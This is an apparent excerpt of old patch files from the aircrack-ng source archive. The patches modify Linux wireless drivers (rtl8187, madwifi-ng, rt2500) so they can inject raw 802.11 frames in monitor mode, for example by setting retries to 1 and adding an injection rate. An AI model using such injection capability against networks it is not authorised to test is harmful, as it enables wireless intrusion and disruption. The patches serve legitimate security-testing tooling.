-EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-06-08 23:30:47.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +341,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +431,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1475_disable_retry_raw.patch0000644000000000000000000000710410761053203024531 0ustar rootrootdiff -Nurb madwifi-ng-r1475/ath/if_ath.c patched_madwifi-ng-r1475/ath/if_ath.c --- madwifi-ng-r1475/ath/if_ath.c 2006-03-19 23:32:54.000000000 +0100 +++ patched_madwifi-ng-r1475/ath/if_ath.c 2006-03-19 23:23:08.000000000 +0100 @@ -2171,6 +2171,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2185,9 +2186,13 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; - txrate = dot11_to_ratecode(sc, rt, ph->rate0); + txrate = dot11_to_ratecode(sc, rt, (ic->ic_opmode == IEEE80211_M_MONITOR) ? (ic->inject_rate / 500) : ph->rate0); power = ph->power > 60 ? 60 : ph->power; hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len + IEEE80211_CRC_LEN; diff -Nurb madwifi-ng-r1475/net80211/ieee80211_var.h patched_madwifi-ng-r1475/net80211/ieee80211_var.h --- madwifi-ng-r1475/net80211/ieee80211_var.h 2006-03-19 23:32:40.000000000 +0100 +++ patched_madwifi-ng-r1475/net80211/ieee80211_var.h 2006-03-19 23:24:48.000000000 +0100 @@ -138,6 +138,7 @@ u_int16_t ic_txpowlimit; /* global tx power limit */ u_int16_t ic_uapsdmaxtriggers; /* max triggers that could arrive */ u_int8_t ic_coverageclass; /* coverage class */ + int inject_rate; /* injection rate in Monitor mode */ /* * Channel state: diff -Nurb madwifi-ng-r1475/net80211/ieee80211_wireless.c patched_madwifi-ng-r1475/net80211/ieee80211_wireless.c --- madwifi-ng-r1475/net80211/ieee80211_wireless.c 2006-03-19 23:32:40.000000000 +0100 +++ patched_madwifi-ng-r1475/net80211/ieee80211_wireless.c 2006-03-19 23:30:28.000000000 +0100 @@ -346,6 +346,18 @@ struct ifmediareq imr; int rate, retv; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (vap->iv_media.ifm_cur == NULL) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -379,9 +391,15 @@ struct iw_param *rrq, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); vap->iv_media.ifm_status(vap->iv_dev, &imr); @@ -1051,6 +1069,7 @@ __u32 *mode, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int valid = 0; @@ -1060,8 +1079,10 @@ if (imr.ifm_active & IFM_IEEE80211_HOSTAP) valid = (*mode == IW_MODE_MASTER); #if WIRELESS_EXT >= 15 - else if (imr.ifm_active & IFM_IEEE80211_MONITOR) + else if (imr.ifm_active & IFM_IEEE80211_MONITOR) { valid = (*mode == IW_MODE_MONITOR); + ic->inject_rate = 5500; /* default = 5.5M CCK */ + } #endif else if (imr.ifm_active & IFM_IEEE80211_ADHOC) valid = (*mode == IW_MODE_ADHOC); aircrack-ng-1.2-rc4/patches/old/sqlite-3.5.4-lib_cygwin.diff0000644000000000000000000000117010770555330022056 0ustar rootroot--- Makefile.ori 2007-12-19 00:53:49.859375000 +0100 +++ Makefile 2007-12-19 00:55:36.031250000 +0100 @@ -581,11 +581,10 @@ libtclsqlite3.la $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(exec_prefix)/bin $(INSTALL) -d $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(prefix)/include aircrack-ng-1.2-rc4/patches/old/rt2500-cvs-2005112305.patch0000644000000000000000000000372510761053203020740 0ustar rootrootdiff -ur ../rt2500-cvs-2005112305/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-2005112305/Module/rtmp_data.c 2005-11-09 04:33:20.000000000 +0100 +++ ./Module/rtmp_data.c 2005-11-23 14:39:33.000000000 +0100 @@ -1137,6 +1137,9 @@ if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + goto rfmontx_80211_receive; + // setup the wlan-ng prismheader if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) @@ -1188,6 +1191,8 @@ // end prismheader setup + rfmontx_80211_receive: + skb->dev = pAdapter->net_dev; memcpy(skb_put(skb, pRxD->DataByteCnt), pData, pRxD->DataByteCnt); skb->mac.raw = skb->data; diff -ur ../rt2500-cvs-2005112305/Module/rtmp_info.c ./Module/rtmp_info.c --- ../rt2500-cvs-2005112305/Module/rtmp_info.c 2005-11-19 16:48:46.000000000 +0100 +++ ./Module/rtmp_info.c 2005-11-23 15:22:15.000000000 +0100 @@ -1973,7 +1973,11 @@ { if (pAdapter->PortCfg.BssType == BSS_MONITOR) { - pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + pAdapter->net_dev->type = 801; // ARPHRD_IEEE80211 + else + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + RTMP_IO_WRITE32(pAdapter, RXCSR0, 0x46); } else if (pAdapter->bAcceptPromiscuous == TRUE) @@ -3828,9 +3832,15 @@ value = *pvalue; if (value == 1) + { pAdapter->PortCfg.MallowRFMONTx = TRUE; + pAdapter->net_dev->type = 801; // ARPHRD_IEEE80211 + } else if (!value) + { pAdapter->PortCfg.MallowRFMONTx = FALSE; + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + } else return -EINVAL; } aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.21v5.patch0000644000000000000000000126676710761053203020407 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-07-13 01:46:27.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-07-13 01:46:27.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ 